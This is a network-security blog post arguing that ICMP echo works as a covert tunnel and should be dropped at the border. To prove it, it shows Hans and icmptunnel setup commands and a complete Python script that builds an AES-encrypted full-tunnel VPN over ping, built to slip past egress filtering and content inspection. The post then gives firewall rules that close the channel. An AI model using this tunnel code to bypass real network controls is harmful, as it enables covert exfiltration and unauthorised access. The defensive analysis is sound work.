Ping is not a diagnostic. It is a tunnel. ICMP echo (the request a machine sends and the reply it gets back) will carry any bytes you put in it, in both directions, over a protocol most firewalls pass without inspecting and most logging counts rather than reads. A network that “only allows ping” already has a full, encryptable VPN out of it, and anyone who can reach that network can drive one.

This is old, and it is documented. Loki1 published the technique in Phrack 49 in 1996. Ptunnel2 has carried whole TCP sessions inside ping for twenty years and is a package away on any Linux box. No zero-day. The protocol behaving exactly as specified.

That is the cause: the standard, not a bug in anyone’s product. Every host on earth is obliged to take the data in an echo request and hand it straight back, unchanged. Arbitrary data in, the same data out: that is the whole of what a tunnel needs, and it has been mandated since 1981.

The fix is one narrow change. Drop ICMP echo, request and reply, on IPv4 and IPv6, at the border, and keep every other ICMP message. The errors — Time Exceeded, Packet Too Big, Destination Unreachable — are load-bearing; block those and you break path MTU discovery and traceroute for nothing. So this is not “block ICMP”. It is drop the one message that is a liability, and keep the ones that carry the truth.

What Your Egress Policy Actually Allowed

If you run a network where outbound is filtered (and if you do not, that is its own conversation), then this is the bill for one line in it. The policy that says “block everything outbound, allow ICMP because we need to ping things” is not an egress policy. It is a full tunnel with the paperwork filed under diagnostics. Anything on the inside that can send an echo request and read the reply can move data to anywhere on the outside that answers one, at whatever rate the link will bear, and past every content control you bought. In the logs it is somebody checking whether the internet is up, and nowt else. Malware has shipped this for years for that exact reason. Quiet, standard, and usually already allowed.

This is why it is a first-choice channel for anyone who is already inside and should not be. It is the tenancy, not the smash-and-grab. Someone after a way in and out that lasts avoids the port that trips an alert. They stand a tunnel up on echo and leave it running for months. A host that pings a lot is a host nobody watches. Two-way networking into the estate: command in, data out, over the one protocol nobody rate-limits, alerts on, or reads. And it is encrypted, the way any real tool encrypts it, so on the wire the payload is the random-looking bytes a ping carries anyway and content inspection has nothing to read. Size and timing can still give it away to someone actually looking. Peering inside the packet cannot.

And the machine driving it need not belong to anyone who works there. All it takes is something that can reach your network and put a ping on the internet, and reaching your network is easier than anyone likes to admit. The WiFi carries past the walls, into the corridor, the car park, the flat upstairs. The ethernet port in the meeting-room wall, or reception, or the empty desk by the window, is very often live and will talk to anything you plug in, with no 802.1X asking who you are. A signal in range, or a socket nobody locked down. That is the entry fee. No badge, no account, no invitation.

Picture the visitor you did invite. They are in the meeting, pleasant, taking notes, contributing. Their laptop is not. The moment it reached your network, over the air or through the port under the table, it was inside the wall, and if that network can emit an echo request, it has a way out. Nothing was dropped on your estate. No account, no privilege on anything you own, nothing for your endpoint agents to catch, because your agents are not on their machine. The person is across the table. The traffic is leaving through your front door, encrypted, indistinguishable from a laptop that pings more than it should.

A visitor in signal range, or at an open port, gets a tunnel out through a firewall that sees only pingsA visitor in range, or at an open port, gets a route outinside the wall — your networkWiFi reachesthe corridor,car park,flat upstairsvisitor's laptopno badge, no accounta live wall portno 802.1X asking who you areborder firewallsees only pingsserveron the internetecho request →← echo replyany IP traffic, encrypted, riding inside the pings
The entry fee is access to the network — a WiFi signal in range, or a live wall port with no 802.1X — and the exit is echo through the border. To the firewall it is a host that pings; inside those pings is any IP traffic, encrypted, bound for a server on the internet.

The two things you will reach for do not help. NAT is a translation table, not a filter: an echo request from an inside host opens a mapping keyed on the ICMP id, which NAT treats exactly as it treats a port, and the reply comes back through it like any other flow. I ran a client behind my own home NAT and it never noticed the NAT was there. A separate guest VLAN is no better. Segregation keeps the visitor off your servers, but it does nothing to keep them off the internet, and the internet, reached with a ping, is the whole requirement. One control touches this: does that network let echo out?

You do not inspect this away, and you do not segregate it away. You close the door. Everything after this is why the standard leaves it open, three ways to build the tunnel so the claim stands on more than my say-so, and the one change that shuts it.

The Part of ICMP That Owes You Nothing Useful

Start with what the standard actually says, because the whole argument rests on one sentence and people wave it away without reading it.

An echo request carries a data field. In IPv4, RFC 7923 states plainly that “the data received in the echo message must be returned in the echo reply message”. IPv6 tightened the wording rather than loosening it: RFC 44434 defines the field as “zero or more octets of arbitrary data” and then requires that it “MUST be returned entirely and unmodified in the ICMPv6 Echo Reply message”.

Read that as an operator and it is a keepalive. Read it as somebody moving data and it is a gift. The standard obliges every reachable host to accept a block of bytes you pick and send them straight back to you, unchanged, on demand. Arbitrary length. Arbitrary content. No handshake, no port, no application on the far end that has to agree to anything. The kernel does it, before any userland process gets a look in.

And it is both families. Moving to IPv6 does not tidy this away. It opens it wider. RFC 792 said the data “must be returned”; RFC 4443 says it “MUST be returned entirely and unmodified”, which is the same door with a stronger lock holding it open. As such, the channel exists on ICMP echo and on ICMPv6 echo alike, and a rule that shuts it on one family and not the other has shut nothing. The tunnel just moves to the family you left open. Whatever you do about this, do it on ip and ip6 together.

Nothing else in the protocol does this. A Time Exceeded carries the header of the packet that died and no more. A Destination Unreachable is a report about something that already happened. Those messages tell you facts about the network. Echo carries whatever you put in it, in both directions, and calls it a diagnostic.

Errors Are Load-Bearing. Echo Is Not.

This is the distinction the “just block ICMP” crowd never make, and it is the whole point, so I will make it once and properly.

Blocking ICMP errors breaks the network quietly. Filter Packet Too Big and you kill path MTU discovery: the handshake completes, small transfers work, and anything carrying a full-size packet hangs forever with nothing in the logs. On IPv6 that is not even a matter of taste. Routers do not fragment, so RFC 48905 lists Packet Too Big among the messages a firewall “must not drop” and warns that without it “parts of the Internet will become inaccessible”. Filter Time Exceeded and you break traceroute, which RFC 18126 names as the reason the message is mandatory in the first place. These are not optional. They are the feedback that makes the network self-correcting, and I covered the cost of losing them at length last time.

Now drop echo and go looking for what broke. ping across the boundary stops working. That is the list. The whole list.

Path MTU discovery does not care, because it runs on Packet Too Big, which is an error. Traceroute does not care, because traceroute -T and -U walk TCP and UDP and read the errors that come back. Not one of them sends an echo. Neighbour discovery on IPv6 does not care, because that is types 133 to 137, and you keep those or the segment dies. The reverse-TTL trick from the last post works on any reply, and a TCP handshake gives you one. Everything that made the last post’s diagnostics work keeps working, because not one measurement in it sent an echo request.

So the two halves of the protocol could not be less alike. One half is the network telling you the truth about itself, and you break it at your peril. The other half is a mandated payload-return service that happens to be called a diagnostic, and the strongest thing anyone can say for keeping it open is that ping is handy. It is handy. It is also the only part of ICMP an attacker can drive, and I can show you exactly what they drive it with.

Keep the ICMP errors, rate-limited; drop only echo, both directions and both familiesTwo halves of one protocol, and only one of them is a liabilityKEEPrate-limit, never blockDestination Unreachablecarries why a packet could not be deliveredPacket Too Bigpath MTU discovery depends on itTime Exceededtraceroute depends on itParameter Problemreports a malformed headerNeighbour Discovery 133–137IPv6: the local segment depends on itBreak these and the network breaks quietly.DROPboth directions, both familiesEcho requesttype 8 (IPv4) · type 128 (IPv6)Echo replytype 0 (IPv4) · type 129 (IPv6)Nothing needs these but thepingcommand.Everything an attacker drivesthrough ICMP runs through them.A tunnel left open on one family is not shut.
The ICMP errors are load-bearing: path MTU discovery, traceroute and IPv6 neighbour discovery all depend on them, and blocking them breaks the network quietly. Echo is the only part nothing depends on but ping, and the only part an attacker can drive. Drop that, keep the rest, on both families.

Proving It: A VPN Made of Ping

The tool is Hans7, written by Friedrich Schöller. Its own description is one line: it “makes it possible to tunnel IPv4 through ICMP echo packets, so you could call it a ping tunnel.” It brings up a tun interface at each end, gives them addresses, and moves every packet between them inside ICMP echo. To the network in the middle it is somebody pinging a server and the server answering. To me it is a route.

An entire IP packet travels inside the data field of a single pingA whole packet rides inside one pingThe packet your SSH session sendsIP headersrc / dstTCP headerport 22application datayour keystrokes, your fileHans copies the whole packet into the echo data fieldThe packet that leaves on the wireIP headeryou to serverICMP echo requesttype 8 · id · seqecho data fieldthe entire packet above, unchangedTo the border firewall this is one echo request, and the log records a ping.Inside the data field is a packet bound for anywhere the far end can reach.The standard requires the far end to send that data straight back, so the reply is a packet too.
Every packet the tunnel carries is copied into the data field of an ICMP echo request. The standard obliges the far end to return that data unchanged, so the reply carries a packet too. The firewall counts a ping; the payload goes anywhere the far end can route.

I ran it across my own line, a server on a public address and a client behind my home NAT, and pushed real traffic through it. Not synthetic pings with a flag set. An SSH login and a file pull, riding inside echo.

It is a package away where I ran the server, and it builds from Schöller’s source anywhere else. The server has to be Linux and needs root, because opening a tun device and a raw ICMP socket both do. The syntax is deliberately small:

# on the server (public IP), pick the tunnel network and a password
hans -s 10.8.0.0 -p '<password>'
# server takes 10.8.0.1; clients are handed 10.8.0.2 and up

# on the client, point it at the server's public address
hans -c <server-public-ip> -p '<password>'

Once both ends are up there is a new interface at each side with an address on the tunnel network, and it behaves like any other point-to-point link:

Nothing about that session knows it is inside ping. SSH opens a TCP connection to 10.8.0.1, the kernel routes it out tun0, Hans wraps each packet as the payload of an echo request, and the far end unwraps it and feeds it to its own tun0. The reply comes back as the payload of an echo reply. As far as SSH is concerned it is talking over an ordinary link. As far as the firewall is concerned, nobody opened anything. A host is being pinged.

What It Looks Like on the Wire

This is the part that ends the argument, so watch the firewall’s-eye view rather than mine.

What is really happening, and what the firewall logs, are not the same pictureOne tunnel, two picturesWhat is really happeningyour hosttun0 · 10.8.0.2the servertun0 · 10.8.0.1anywhere itcan reachSSH, file pullsrouted outany IP traffic, through the tunnelas ordinary packetsWhat the border firewall sees and logsyour host198.51.100.9the server192.0.2.7echo requestecho replyicmp echo request 198.51.100.9 > 192.0.2.7icmp echo reply 192.0.2.7 > 198.51.100.9icmp echo request 198.51.100.9 > 192.0.2.7... counted as pings, content unreadSame wire. The firewall never sees the packets inside.
The tunnel moves real traffic between two hosts and then out to anywhere the server can reach. At the border it is only echo request and echo reply — the firewall logs pings and never sees the packets carried inside them.

Sit on the outside interface with tcpdump and capture only ICMP while the SSH session runs. No TCP to port 22 crosses the boundary. What crosses is echo request and echo reply, back and forth, each one fatter than a real ping because it is carrying a slice of a TCP segment in its payload:

# on the boundary, watch only ICMP echo while traffic runs over the tunnel
tcpdump -ni <wan-iface> 'icmp[icmptype] = icmp-echo or icmp[icmptype] = icmp-echoreply'

Read the two things that matter in that capture. First, the payload lengths: a normal ping sends 56 bytes and every line is the same size, while these vary and run large, because the size of the thing you are moving leaks into the size of the ping. Second, the rate: a diagnostic ping is one a second, and this is a flood, because it is moving a file. Neither is hidden. Both are sitting in plain sight on a protocol nobody is looking at.

And that is the whole point. Not that this is clever, or hard to spot once you look. Almost nobody looks, because the box is configured to allow ICMP, the logs count it as pings, and the alerting was tuned for the ports somebody remembered to worry about. The traffic leaves looking like a health check and the health check is a route to anywhere the server can reach.

A Proper Full-Tunnel VPN, Built by Hand

Hans proves the channel is there, but it does the interface and the addressing for you and hands back a route, so it does not quite show you what you have built. To see that this is a VPN in the full sense — the whole machine’s traffic leaving through ping, not a link between two named hosts — put it together by hand. icmptunnel8, by Dhaval Kapil, is the one for that, and its own description is a single line: “Transparently tunnel your IP traffic through ICMP echo and reply packets.” Same idea, tun device and echo payloads, but you lay the plumbing yourself and nothing hides inside a binary.

On the server you start the tunnel, bring the interface up, and then do the thing that gives the whole game away: tell the kernel to stop answering pings itself, so its own echo replies do not fight the ones the tunnel is sending.

sudo ./icmptunnel -s 10.0.1.1                 # server mode; creates tun0, then blocks
# from a second shell, bring the interface up (iproute2, not the net-tools the repo ships)
sudo ip addr add 10.0.1.1/24 dev tun0
sudo ip addr add 2001:db8:1::1/64 dev tun0
sudo ip link set tun0 mtu 1472 up             # 1500 − 20 (IP) − 8 (ICMP); see below
# stop the kernel replying to pings — echo now belongs to the tunnel
sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1
sudo sysctl -w net.ipv6.icmp.echo_ignore_all=1
# let the server route the client's packets onward
sudo sysctl -w net.ipv4.ip_forward=1

Read the icmp_echo_ignore_all line again, because it says more than it looks. That knob is the kernel’s own, and it ships as a defence: set it and, in the kernel’s words, it “will ignore all ICMP ECHO requests sent to it”9, so an operator can take a host off the ping radar entirely. It is on both families now. net.ipv4.icmp_echo_ignore_all for years, and net.ipv6.icmp.echo_ignore_all added later to match.10 The tunnel flips that defensive switch on for the opposite reason: with the kernel no longer answering echo itself, its two ends are free to use echo as pure transport. Which is the tell. The people who wrote the stack already treat echo as something a host may reasonably refuse — the rule in this post makes that same call once, at the border, for every host behind it.

On the client you bring the interface up and then point the default route down it. Not one host reached through the tunnel. Everything.

sudo ./icmptunnel -c <server-public-ip>       # client mode; creates tun0
sudo ip addr add 10.0.1.2/24 dev tun0
sudo ip addr add 2001:db8:1::2/64 dev tun0
sudo ip link set tun0 mtu 1472 up
# keep the route to the server itself OUT of the tunnel...
sudo ip route add <server-public-ip> via <gateway> dev <iface>
# ...then send everything else down it
sudo ip route replace default dev tun0

The project’s own client.sh and server.sh still reach for net-tools ifconfig and route. The ip commands above are the iproute2 equivalents and do the same job. That route to the server is the line people forget: keep it out of the tunnel, or the echo packets carrying the tunnel try to travel down the tunnel, and nothing leaves. Everything else now goes through tun0, wrapped in echo, and reaches the server. Whether it goes further is a routing choice. A single masquerade rule on the server would put it on the public internet under the server’s own address, and it is deliberately not here, because the tunnel is the thing being shown and it does not need it.

That is a full-tunnel VPN, built out of ping in a handful of commands. Every packet the client sends — web, DNS, SSH, all of it — is captured into tun0 and leaves as an echo request to the server, and the answers come back as echo replies. A machine on a network that “only allows ICMP” has just handed its entire outbound traffic to a box outside, and the border logged a host that likes to ping.

Rolling Your Own in Python

Here is the part that should trouble anyone hoping to defend against this by spotting a tool. Neither Hans nor icmptunnel is doing anything you could not write yourself in an afternoon. Open a tun device, wrap each packet as the payload of an echo request, unwrap the ones that come back. That is the whole mechanism, and the bare tunnel is about sixty lines of standard-library Python with nothing to install at all. The version below adds one thing on top: it encrypts the payload, and that is the only part that pulls in a dependency.

#!/usr/bin/env python3
# pingvpn.py — a VPN tunnel over ICMP echo, in one short file.
#
# Not a product. It exists to show the channel is trivial to rebuild, so a
# defence that hunts for a known tool is chasing the wrong thing entirely.
# Linux, needs root (a tun device and a raw ICMP socket both do), and the
# `cryptography` package for the AES (pip install cryptography).
#
#   server:  sudo python3 pingvpn.py --server
#   client:  sudo python3 pingvpn.py --client <server-public-ip>
#
# The payload is encrypted with AES-128-GCM under a pre-shared key before it
# goes on the wire, so what a firewall sees in the echo data is random bytes —
# the same as a real ping's padding, and nothing for content inspection to read.

import argparse
import fcntl
import hashlib
import os
import select
import socket
import struct
import sys

from cryptography.hazmat.primitives.ciphers.aead import AESGCM

TUNSETIFF    = 0x400454CA
IFF_TUN      = 0x0001
IFF_NO_PI    = 0x1000
MAGIC        = 0x4954          # 'IT' in the id field, so we ignore real pings
ECHO_REQUEST = 8
ECHO_REPLY   = 0

PSK   = b"change-me-to-a-shared-secret"          # pre-shared secret, both ends
KEY   = hashlib.sha256(PSK).digest()[:16]        # 128-bit key -> AES-128-GCM
AEAD  = AESGCM(KEY)


def open_tun(name=b"tun0"):
    fd = os.open("/dev/net/tun", os.O_RDWR)
    fcntl.ioctl(fd, TUNSETIFF, struct.pack("16sH", name, IFF_TUN | IFF_NO_PI))
    return fd


def encrypt(data):                                # -> nonce || ciphertext+tag
    nonce = os.urandom(12)
    return nonce + AEAD.encrypt(nonce, data, None)


def decrypt(blob):                                # raises on a packet that is not ours
    return AEAD.decrypt(blob[:12], blob[12:], None)


def checksum(data):
    if len(data) % 2:
        data += b"\x00"
    total = sum(struct.unpack("!%dH" % (len(data) // 2), data))
    total = (total >> 16) + (total & 0xFFFF)
    total += total >> 16
    return ~total & 0xFFFF


def build_echo(icmp_type, payload):
    head = struct.pack("!BBHHH", icmp_type, 0, 0, MAGIC, 0)
    csum = checksum(head + payload)
    return struct.pack("!BBHHH", icmp_type, 0, csum, MAGIC, 0) + payload


def main():
    ap = argparse.ArgumentParser(description="a VPN tunnel over ICMP echo")
    group = ap.add_mutually_exclusive_group(required=True)
    group.add_argument("--server", action="store_true")
    group.add_argument("--client", metavar="SERVER_IP")
    args = ap.parse_args()

    out_type = ECHO_REQUEST if args.client else ECHO_REPLY
    in_type  = ECHO_REPLY   if args.client else ECHO_REQUEST
    peer     = args.client        # None on the server until a client is seen

    tun  = open_tun()
    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
    print("tun0 created. bring it up with an address and route, then send traffic.",
          file=sys.stderr)

    while True:
        readable, _, _ = select.select([tun, sock], [], [])

        if tun in readable:                       # a packet wants to leave this host
            packet = os.read(tun, 65535)
            if peer:
                sock.sendto(build_echo(out_type, encrypt(packet)), (peer, 0))

        if sock in readable:                      # something arrived over ICMP
            data, _ = sock.recvfrom(65535)
            ihl  = (data[0] & 0x0F) * 4           # skip the IP header the kernel adds
            icmp = data[ihl:]
            if len(icmp) < 8 or icmp[0] != in_type or icmp[4:6] != struct.pack("!H", MAGIC):
                continue
            try:
                packet = decrypt(icmp[8:])        # wrong key or a real ping -> skip
            except Exception:
                continue
            if args.server:
                peer = socket.inet_ntoa(data[12:16])   # reply to whoever sent
            os.write(tun, packet)                 # hand the carried packet to the stack


if __name__ == "__main__":
    main()

That is the entire tunnel. It opens tun0 and a raw ICMP socket and shuttles packets between them: what leaves the host is wrapped as an echo request, or an echo reply on the server, and sent to the far end; what arrives over ICMP is unwrapped and handed back to the stack. The id field is pinned to one value so it steps over real pings, and the server learns where to answer from the source of the first packet it sees.

The encryption is the point worth dwelling on, because it is what real tools do and it is why you will not catch this by looking inside the packet. The payload is sealed with AES-128-GCM under a pre-shared key before it is wrapped, so the bytes in the echo data are indistinguishable from the random padding a real ping carries. Strip the two crypto lines out and the tunnel still runs on nothing but the standard library — the only reason it needs pip install cryptography is the AES, and the AES is exactly the part that turns a readable tunnel into an unreadable one. Bring it up the same way as before, minus the masquerade. You do not need it to prove the point:

# server: start it (creates tun0, then blocks), then configure from the same shell
sudo python3 pingvpn.py --server &
sudo ip addr add 10.9.0.1/24 dev tun0
sudo ip addr add 2001:db8:9::1/64 dev tun0
sudo ip link set tun0 mtu 1400 up
sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1
sudo sysctl -w net.ipv6.icmp.echo_ignore_all=1

# client
sudo python3 pingvpn.py --client <server-public-ip> &
sudo ip addr add 10.9.0.2/24 dev tun0
sudo ip addr add 2001:db8:9::2/64 dev tun0
sudo ip link set tun0 mtu 1400 up
sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1
sudo sysctl -w net.ipv6.icmp.echo_ignore_all=1
sudo ip route add <server-public-ip> via <gateway> dev <iface>
sudo ip route replace default dev tun0

The reason to write it out is not the tool. It is that the tool is disposable. A short file, no dependencies until you add the encryption, and every copy someone types looks a little different on the wire. So a signature that catches this one catches nothing next week. You cannot block your way out of this by naming the software, because there is no software to name.

It does not even need a shell. The logic is bytes in, bytes out, so it ports to anything that can open a socket. Even WebAssembly: the browser sandbox normally refuses a page a raw socket outright, but where that barrier is lifted (a browser handed the permission by the user, on a machine where the user runs with privilege enough for a raw socket to be opened) the same short program runs inside a tab. Which is the uncomfortable half of it. You cannot trust your users here. The host driving the tunnel is on the inside, held by somebody you decided was safe because they sit behind the firewall, and the firewall is the thing being tunnelled through. Perimeter trust assumes the threat is outside the wall. This one starts inside it, every time.

Mind the MTU, and IPv6’s 1280 Floor

The tunnel is not free on the wire. Every packet you carry gains an outer IP header and an ICMP header before it leaves, so the inner interface has to sit below what the path can carry. On IPv4 that costs the attacker almost nothing. Set the inner MTU low (icmptunnel’s 1472 is 1500 less 20 for the outer IP header and 8 for the ICMP header, and the Python above drops to 1400 for slack), and where the number is still wrong, IPv4 fragments the oversized packet and reassembles it at the far end rather than dropping it. Between the low floor you can pick and fragmentation papering over the rest, the tunnel runs across almost any path. That flexibility is exactly what makes IPv4 the comfortable place to do this.

IPv4's fragmentation and MTU slack let the tunnel run anywhere; IPv6 has neither, so it fails closedWhy it runs anywhere on IPv4 and fails closed on IPv6IPv4IP hdr20 BICMP8 Binner packettun MTU 1472 BToo big? IPv4 fragments and reassembles — the tunnel runs across almost any path.IPv6IPv6 hdr40 BICMPv68 Binner packetcannot drop below 1280 B1280 B hard floor (RFC 8200)Too big? IPv6 routers drop it, no fragmentation — the tunnel fails closed.IPv4's fallbacks — a floor you can pick, fragmentation for the rest — are what make the tunnel reliable.IPv6 has neither, so the attack that runs almost anywhere on IPv4 is fragile on IPv6. The safer family here.Packet Too Big — an error you keep, not an echo — is what lets a sender find the size that fits. Not to scale.
The tunnel loses an outer IP and ICMP header off every packet. IPv4 lets you shave the inner MTU and fragments whatever is still too big, so it runs almost anywhere; IPv6 sets a hard 1280-byte floor and its routers do not fragment, so an oversized packet is dropped and the tunnel fails closed — which makes IPv6 the safer family here.

IPv6 is less forgiving, and for once that is on your side. The floor is hard: RFC 820011 §5 requires that “every link in the Internet have an MTU of 1280 octets or greater”, and IPv6 routers do not fragment in transit. That removes both of IPv4’s fallbacks at once, and it bites the tunnel in both directions. Run it over ICMPv6 and every link on the path has to carry 1280, so a path that drops below that takes the transport down, and there is no shaving under the floor the way you can on IPv4. Carry IPv6 inside the tunnel and you meet the same wall from the other side: the inner interface cannot go below 1280 either, while the outer ICMPv6 wrapper, 40 bytes of header and 8 of ICMPv6, is already spending the budget, so the path has to spare 1280 plus the overhead. Miss it in either place and the packet is dropped, not cut down to fit: the tunnel comes up, small things work, anything full-size hangs. So IPv6 is the safer family here, not the riskier one. The attack that runs across almost anything on IPv4 is fragile on IPv6, and fails closed. Safer is not the same as safe, mind: the echo channel is open on IPv6 too, so the rule still drops it on both families — the attacker just cannot lean on IPv6 the way they lean on IPv4.

The recovery from that is the ICMP error you were careful to keep. Packet Too Big is what lets a sender find the working size, and it is an error, not an echo, so the rule this post argues for leaves it alone. Drop the tunnel and keep the diagnostics — that is the whole design, and the MTU is one more place it earns its keep.

The Rule, Narrowed to Echo

The last post gave the full transit ruleset: permit the errors under a rate limit, drop the echo. I am not going to reprint it. The change this post argues for is one pair of lines, and it is the pair that does the work:

# permit the ICMP errors — these are load-bearing, keep them
ip protocol icmp icmp type { destination-unreachable, time-exceeded, parameter-problem } \
    limit rate 100/second accept
ip6 nexthdr ipv6-icmp icmpv6 type { destination-unreachable, packet-too-big, \
    time-exceeded, parameter-problem } limit rate 100/second accept

# drop the tunnel — echo, both directions, both families
ip  protocol icmp     icmp   type { echo-request, echo-reply } drop
ip6 nexthdr ipv6-icmp icmpv6 type { echo-request, echo-reply } drop

The rule is not Linux’s, though. It is the same intent on any firewall worth the name: permit the errors, cap their rate, drop echo both ways on both families. So here it is in the dialects you are more likely to be holding.

BSD pf (pfSense, OPNsense, OpenBSD, FreeBSD):

# permit the errors; block echo both directions, both families
pass  in proto icmp  icmp-type  { unreach, timex, paramprob }
pass  in proto icmp6 icmp6-type { unreach, toobig, timex, paramprob, \
                                  routersol, routeradv, neighbrsol, neighbradv }
block in proto icmp  icmp-type  { echoreq, echorep }
block in proto icmp6 icmp6-type { echoreq, echorep }

Keep the neighbour-discovery types on the icmp6 line; those are the ones that take the segment down if you lose them.

Cisco IOS (extended ACLs, applied at the edge):

ip access-list extended ICMP-EDGE
 permit icmp any any unreachable
 permit icmp any any time-exceeded
 permit icmp any any parameter-problem
 deny   icmp any any echo
 deny   icmp any any echo-reply
!
ipv6 access-list ICMP6-EDGE
 permit icmp any any packet-too-big
 permit icmp any any unreachable
 permit icmp any any time-exceeded
 permit icmp any any parameter-problem
 permit icmp any any nd-ns
 permit icmp any any nd-na
 deny   icmp any any echo-request
 deny   icmp any any echo-reply

On IPv4 the echo type is echo; on IPv6 it is echo-request. Rate-limiting lives in CoPP, not the ACL.

Juniper Junos (firewall filter; the inet6 filter mirrors this and keeps neighbour discovery):

firewall family inet filter icmp-edge {
    term errors {
        from { protocol icmp; icmp-type [ unreachable time-exceeded parameter-problem ]; }
        then { policer icmp-cap; accept; }
    }
    term drop-echo {
        from { protocol icmp; icmp-type [ echo-request echo-reply ]; }
        then discard;
    }
}

MikroTik RouterOS — drop the two echo types, then accept the rest of ICMP, which keeps the errors and, on v6, neighbour discovery:

/ip firewall filter
add chain=forward protocol=icmp icmp-options=8:0 action=drop comment="echo request"
add chain=forward protocol=icmp icmp-options=0:0 action=drop comment="echo reply"
add chain=forward protocol=icmp action=accept comment="keep the errors (add limit= to cap)"
/ipv6 firewall filter
add chain=forward protocol=icmpv6 icmp-options=128:0 action=drop comment="echo request"
add chain=forward protocol=icmpv6 icmp-options=129:0 action=drop comment="echo reply"
add chain=forward protocol=icmpv6 action=accept comment="keep errors and ND"

Different syntax, one rule. Permit the messages that carry the truth, drop the one that carries your bytes.

Two cautions, both of which will bite you if you skim.

Drop echo at the border, not on the wire between a host and its own router. On IPv6, neighbour discovery is ICMP — types 133 to 137, nd-router-solicit through nd-redirect — and it is how the segment does the job ARP does in IPv4. Carry an echo-drop onto a link-local or host chain without keeping those and the segment stops working within minutes, and it will not look like a firewall fault. Filter echo where traffic leaves your network, and leave the internal chains alone.

Drop it in both directions and it stops being useful either way. Blocking only the request stops your hosts being pinged but still lets a reply out, and a tunnel can be built on replies alone with a little more effort. Drop request and reply, on IPv4 and IPv6, and the channel is shut both ways.

What Dropping Ping Actually Costs You

Be honest about the loss, because a control you have oversold is a control somebody quietly reverses the first time it is inconvenient.

You lose ping across the boundary. That is the cost, stated in full. It is a real cost. ping is the reflex, it is in everyone’s fingers, and the day after you ship this someone will say the internet is down because their ping to the gateway times out. It is not down. You told the gateway to stop answering a request that was only ever a convenience.

Reachability testing does not need echo. A TCP connection to a port you know is open tells you the host is up and the path works, and it tells you more than a ping does because it proves a service answered, not just a kernel:

# "is it up and reachable?" without sending a single echo
nc -zv <host> 443           # did the TCP handshake complete?
traceroute -T -p 443 <host> # walk the path on TCP, read the errors back

Both of those ride on the ICMP errors you kept and the TCP a real service already speaks. Neither sends an echo. So the honest trade is this: you give up the least informative tool in the box, the one that answers “is a kernel willing to reply” and nothing more, and in exchange you close the only part of ICMP that an attacker can turn into a route off your network. The diagnostics you actually reach for on a bad day are all on the other side of the line, untouched.

The Fisher-Price OS (Windows) Is Not a Way Out of This

If you run a Fisher-Price OS (Windows) shop you might be reading this as somebody else’s problem. It is not. The liability is in the protocol, not the operating system. The standard obliges every host that answers a ping to hand your bytes back, and it does not stop to ask what the host is running first.

A box on that OS makes a perfectly good tunnel endpoint. Hans ships a Windows client, so an inside machine can be the client end and pass its traffic out inside echo like any other. What it cannot easily be is the server end, because that wants a tun device and a raw ICMP socket held open, and on this OS only members of the Administrators group can create sockets of type SOCK_RAW12 — Microsoft’s own words. So the server sits on a real operating system, as mine did, and the box behind the firewall quietly pinging its way out is the one you were told was safe because it was on the inside.

That is the point for anyone defending it. The border rule does not care what the inside runs. Drop echo where the traffic leaves the network and every host behind it is covered — the ones you administer, and the one you were assured was hiding behind NAT. I do not run the thing, and I am not going to pretend the tunnel respects it. The fix is the same rule, in the same place, whatever the endpoint is booted into.

If the box itself is what you are hardening (the box, not the network), PowerShell will at least stop it answering or emitting a ping on its own account:

foreach ($t in 8,0)     { New-NetFirewallRule -DisplayName "Drop ICMPv4 Echo $t" -Protocol ICMPv4 -IcmpType $t -Direction Inbound -Action Block }
foreach ($t in 128,129) { New-NetFirewallRule -DisplayName "Drop ICMPv6 Echo $t" -Protocol ICMPv6 -IcmpType $t -Direction Inbound -Action Block }

Add -Direction Outbound twins to stop it reaching out as a tunnel client rather than sitting there as the target, and leave the ICMPv6 error and neighbour-discovery types alone, for the reason they are left alone everywhere else on this page. But do not mistake it for the control. A host firewall is not a transit firewall. It hardens the box and changes nothing about the border, and the border is where this actually gets shut.

Raise This With Whoever Runs Your Border, Today

You have probably read this far thinking of a network that is not yours to change. Most people are. So the useful thing to do is not to reach for the firewall, it is to put the question to whoever holds it — your own network team, your MSP, or the vendor whose box sits at the edge — and put it today, because this has been an open door since 1996 and one more week of it is a choice.

Ask plainly, and ask expecting a blank look, because I would wager the whole of the UK GDP that nobody there has given echo a second thought. It is the one packet everybody allows and nobody owns, and an unowned rule is exactly the one that has been sat wrong for years with no one to notice.

Ask them four things, in these words, so there is no room to nod along and change nothing:

  • Do we drop ICMP echo request and echo reply at the border, on IPv4 and IPv6 both? Not “do we allow ICMP” — the specific message, both directions, both families. If the answer is one family only, it is no answer, because the tunnel just moves to the other.
  • Do we still permit the ICMP errors? Destination Unreachable, Time Exceeded, Parameter Problem, and Packet Too Big on IPv6, under a rate limit rather than a block. If they cannot say, the odds are even they have either left everything open or blocked the lot, and both are wrong.
  • Have we kept IPv6 neighbour discovery on the internal chains? Types 133 to 137. This is the one that turns “we hardened ICMP” into a segment that dies quietly a week later, and it is the mistake a rushed change makes.
  • Show me the rule. Not a policy statement, the actual line on the actual box, and the date it went on. A control nobody can point to is a control that is not there.

Will the box have arrived from the vendor with this already shut? It will not. The default nearly everywhere is to pass echo and record it as a packet count, which is the whole reason the tunnel works at all. It is not exploiting a bug, it is using the configuration that ships as standard. Nobody closes a door they were never told was open.

The reason to insist on the wording is that the lazy fix to this post is “right, we’ll block ICMP”, and that fix is worse than the hole. It breaks path MTU discovery and traceroute, it will have you chasing hung transfers with nothing in the logs, and on IPv6 it takes parts of the internet off the table entirely. If the person you ask reaches for that, stop them. The instruction is narrow on purpose: drop echo, keep the errors, keep neighbour discovery. As such, anyone who runs firewalls for a living should be able to make that change in an afternoon and tell you it is done.

And if they are an MSP you pay to run this: a supplier who cannot tell you your own echo-and-error posture off the top of their head, or who answers “we block ICMP” as though that were the safe option, has just told you something about the rest of the estate. The next time a fault sits between two networks and both say they are clean, remember which of them could not describe what their own firewall does to a ping.

The Diagnostic That Was Never a Diagnostic

Ping has had a good run. Mike Muuss wrote it in 1983 to check whether a host was answering, named it after sonar, and it did that one job so well that it became the first thing everyone reaches for and the last thing anyone questions. Forty years on it is muscle memory, and muscle memory is exactly how a liability survives. Nobody re-examines the thing they have always done.

